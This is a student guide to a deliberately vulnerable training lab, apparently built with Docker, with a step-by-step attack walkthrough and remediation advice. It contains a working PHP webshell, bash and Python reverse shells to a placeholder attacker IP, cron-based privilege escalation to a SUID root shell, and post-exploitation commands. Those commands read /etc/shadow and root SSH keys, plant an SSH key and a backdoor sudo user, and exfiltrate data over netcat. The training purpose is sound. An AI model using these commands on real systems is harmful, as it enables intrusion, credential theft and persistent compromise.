CloudMints Vulnerable Lab - Complete Student Guide

Version: 1.0
Date: December 2, 2025
Difficulty: Intermediate
Duration: 2-4 hours
Target Audience: Security students, penetration testers, ethical hackers

---

Table of Contents

Lab Overview

CloudMints is a deliberately vulnerable web application designed for hands-on cybersecurity training focusing on Docker deployment, web exploitation, privilege escalation, and post-exploitation.

Lab Access Information

Main Website: http://cloudmints.in
Admin Panel: http://admin.cloudmints.in
Username: admin
Password: CloudM1nts@Admin2024!

Key Vulnerabilities

- World-writable backup script at /opt/backup.sh (Critical)
- File upload RCE in /var/www/html/uploads/ (Critical)
- Cron job runs every 2 minutes as root (Critical)
- chmod 777 on sensitive files (High)

System Requirements

Hardware Requirements

- CPU: 2+ cores
- RAM: 4 GB minimum (8 GB recommended)
- Disk Space: 10 GB free
- Network: Internet connection

Software Requirements

- Operating System: Linux (Ubuntu 20.04+, Debian 10+)
- Docker: Version 20.10+
- Sudo Access: Required

Install Essential Tools

```
sudo apt-get update
sudo apt-get install -y curl wget netcat-openbsd nmap python3
```

Pre-Deployment Setup

Step 1: Verify Docker Installation

```
docker --version
sudo systemctl status docker
sudo systemctl start docker
```

Step 2: Create Lab Directory

```
mkdir -p ~/cloudmints-lab
cd ~/cloudmints-lab
```

```
mkdir -p admin_app main_app dummy_files
ls -la
```

Step 3: Prepare Setup Script

```
chmod +x setup_cloudmints_lab.sh
ls -la setup_cloudmints_lab.sh
```

Lab Deployment

Run Setup Script

```
cd ~/cloudmints-lab
./setup_cloudmints_lab.sh
```

Expected Output After Deployment

```
╔═══════════════════════════════════════════════════════════╗
║              CloudMints Lab - Setup Complete!             ║
╚═══════════════════════════════════════════════════════════╝

ACCESS INFORMATION
═══════════════════════════════════════════════════════════

🌐 Main Website:   http://cloudmints.in
🔐 Admin Panel:    http://admin.cloudmints.in
   Username:       admin
   Password:       CloudM1nts@Admin2024!

VULNERABILITY DETAILS
═══════════════════════════════════════════════════════════

👤 Target User:         cloudmints
📁 Home Directory:      /home/cloudmints
⚠️  Vulnerable Script:  /opt/backup.sh
🔓 Permissions:         777 (world-writable)
👑 Owner:               root
⏰ Execution:           Every 2 minutes via cron
```

Verify Deployment

```
docker ps
curl -I http://cloudmints.in
curl -I http://admin.cloudmints.in
```

Attack Walkthrough

Step 1: Initial Access

Objective: Gain access to the admin panel

1. Navigate to http://admin.cloudmints.in
2. Login with credentials: admin / CloudM1nts@Admin2024!
3. Explore the admin dashboard

Expected Result: Successfully authenticated

Step 2: Webshell Upload

Objective: Upload PHP webshell for code execution

Create the webshell on your attacker machine:

```
cat > shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>
EOF
```

Upload shell.php via the admin panel file upload feature.

Test webshell execution:

```
curl "http://admin.cloudmints.in/uploads/shell.php?cmd=whoami"
```

Expected output: www-data

```
curl "http://admin.cloudmints.in/uploads/shell.php?cmd=id"
```

Expected output: uid=33(www-data) gid=33(www-data)

Expected Result: Webshell successfully executing commands

Step 3: Reverse Shell Creation

Objective: Establish interactive shell

Start listener on attacker machine:

```
nc -lvnp 9001
```

Trigger reverse shell (replace YOUR_IP with your attacker IP):

```
curl "http://admin.cloudmints.in/uploads/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1'"
```

Alternative Python method:

```
curl "http://admin.cloudmints.in/uploads/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"YOUR_IP\",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
```

Expected Result: Shell connection established on your listener

---

Step 4: Shell Upgrade & Enumeration

Objective: Upgrade shell and enumerate system

Upgrade to fully interactive shell:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

Press Ctrl+Z to background the shell, then on your local machine:

```
stty raw -echo; fg
```

Press Enter twice, then set terminal size:

```
stty rows 38 columns 116
```

Check current user:

```
id
whoami
```

Find world-writable root-owned files:

```
find / -type f -perm -002 -user root 2>/dev/null
```

Expected to find: /opt/backup.sh

Check backup script permissions:

```
ls -la /opt/backup.sh
```

Expected: -rwxrwxrwx 1 root root

Read the script:

```
cat /opt/backup.sh
```

Check cron configuration:

```
cat /etc/cron.d/cloudmints-backup
```

Expected: */2 * * * * root /opt/backup.sh

Key Finding: /opt/backup.sh is world-writable, owned by root, runs every 2 minutes via cron!

Step 5: Privilege Escalation

Objective: Exploit cron job to gain root

Understanding the vulnerability:

- /opt/backup.sh has 777 permissions (world-writable)
- Owned by root:root
- Cron executes as root every 2 minutes
- We can modify it as www-data
- Our code executes with root privileges

Overwrite backup.sh with exploit:

```
echo '#!/bin/bash' > /opt/backup.sh
echo 'cp /bin/bash /tmp/rootbash' >> /opt/backup.sh
echo 'chmod +s /tmp/rootbash' >> /opt/backup.sh
chmod +x /opt/backup.sh
```

Verify exploit code:

```
cat /opt/backup.sh
```

Wait for cron execution (up to 2 minutes):

```
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
```

Or check manually:

```
while true; do
  if [ -f /tmp/rootbash ]; then
    echo "rootbash created!"
    ls -la /tmp/rootbash
    break
  fi
  echo "Waiting for cron..."
  sleep 10
done
```

Expected after cron runs: -rwsr-sr-x 1 root root /tmp/rootbash

---

Step 6: Get Root Shell

Objective: Execute SUID bash for root access

Execute with -p flag to preserve SUID privileges:

```
/tmp/rootbash -p
```

Verify root access:

```
whoami
```

Output: root

```
id
```

Output: uid=33(www-data) euid=0(root) groups=0(root)

Notice euid=0(root) means effective user ID is root!

Expected Result: Full root access achieved!

Step 7: Post-Exploitation

Objective: Demonstrate full compromise

Read sensitive files:

```
cat /etc/shadow
cat /root/.ssh/id_rsa
cat /root/.bash_history
cat /home/cloudmints/*
ls -laR /root/
```

Establish persistence with SSH key:

```
mkdir -p /root/.ssh
echo "YOUR_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
```

Create backdoor user:

```
useradd -m -s /bin/bash backdoor
echo "backdoor:P@ssw0rd123" | chpasswd
usermod -aG sudo backdoor
echo "backdoor ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```

Data exfiltration:

```
tar -czf /tmp/exfil.tar.gz /etc/shadow /root/.ssh /home/cloudmints
```

On attacker machine first:

```
nc -lvnp 8000 > exfil.tar.gz
```

Then on target:

```
nc YOUR_IP 8000 < /tmp/exfil.tar.gz
```

Lab Complete! Full system compromise demonstrated.

Troubleshooting

Webshell Doesn't Execute

Check uploads directory permissions:

```
docker exec cloudmints-admin ls -la /var/www/html/uploads
```

Verify PHP is working:

```
docker exec cloudmints-admin php -v
curl "http://admin.cloudmints.in/uploads/shell.php"
```

Reverse Shell Fails

Verify your attacker IP:

```
ip addr show
hostname -I
```

Check firewall:

```
sudo ufw allow 9001/tcp
```

Try alternative reverse shell methods (Python, Netcat).

Privilege Escalation Fails

Verify backup.sh is writable:

```
ls -la /opt/backup.sh
```

Should be: -rwxrwxrwx 1 root root

Check cron is running:

```
ps aux | grep cron
```

View cron logs:

```
tail -f /var/log/cron.log
```

Wait full 2-minute cycle. Execute rootbash with -p flag: /tmp/rootbash -p

Containers Won't Start

Check Docker daemon:

```
sudo systemctl status docker
sudo systemctl restart docker
```

Check for port conflicts:

```
sudo netstat -tulnp | grep :80
```

View container logs:

```
docker logs cloudmints-admin
docker logs cloudmints-main
```

Clean rebuild:

```
docker stop $(docker ps -aq --filter "name=cloudmints")
docker rm $(docker ps -aq --filter "name=cloudmints")
./setup_cloudmints_lab.sh
```

Defense & Remediation

Fix 1: File Upload Vulnerability

Secure file upload implementation:

```
<?php
// Whitelist allowed MIME types
$allowed_types = array('image/jpeg', 'image/png', 'image/gif');
$max_size = 2 * 1024 * 1024; // 2MB

// Validate MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

if (!in_array($mime, $allowed_types)) {
    die("Invalid file type!");
}

// Validate size
if ($_FILES['file']['size'] > $max_size) {
    die("File too large!");
}

// Generate safe random filename
$filename = bin2hex(random_bytes(16)) . ".jpg";

// Store OUTSIDE web root
$upload_dir = "/var/uploads/";
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $filename);
chmod($upload_dir . $filename, 0644);
?>
```

Disable PHP execution in uploads directory with Apache .htaccess:

```
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>
```

Or Nginx configuration:

```
location /uploads {
    location ~ \.php$ {
        return 403;
    }
}
```

Fix 2: File Permissions

Fix backup script permissions:

```
chmod 750 /opt/backup.sh
chown root:root /opt/backup.sh
```

Result: -rwxr-x—- 1 root root /opt/backup.sh

Set proper web directory permissions:

```
chown -R www-data:www-data /var/www/html
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;
```

Fix 3: Implement File Integrity Monitoring

Install and configure AIDE:

```
apt-get install aide
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check
```

Add daily cron check:

```
echo "0 2 * * * root /usr/bin/aide --check | mail -s 'AIDE Report'
admin@cloudmints.in" >> /etc/crontab
```

Fix 4: Principle of Least Privilege

Create dedicated service accounts:

```
useradd -r -s /bin/false webapp
chown -R webapp:webapp /var/www/html
```

Run services as non-root users in systemd configuration.

Summary

This lab demonstrated a complete attack chain:

1. Initial Access via default credentials
2. Code Execution via file upload vulnerability
3. Reverse Shell to establish network connection
4. Enumeration to discover vulnerable cron job
5. Privilege Escalation via world-writable root-owned script
6. Post-Exploitation for data theft and persistence

Key Takeaways

- Always validate file uploads
- Never use 777 permissions on production systems
- Implement principle of least privilege
- Regular security audits catch misconfigurations
- Defense in depth provides multiple protection layers
- File integrity monitoring detects unauthorized changes

Skills Demonstrated

- Docker container deployment
- Web application exploitation
- File upload vulnerability exploitation
- Reverse shell techniques
- Shell stabilization and upgrading
- System enumeration
- Cron job analysis
- Privilege escalation exploitation
- Post-exploitation techniques
- Data exfiltration
- Persistence establishment
- Defense implementation
- Security hardening

Lab Version: 1.0
Last Updated: December 2, 2025
License: Educational Use Only

⚠️ **LEGAL DISCLAIMER:**
This lab is for **AUTHORIZED EDUCATIONAL USE ONLY**. Unauthorized access to computer systems is illegal. Only practice these techniques on systems you own or have explicit permission to test.

END OF COMPLETE GUIDE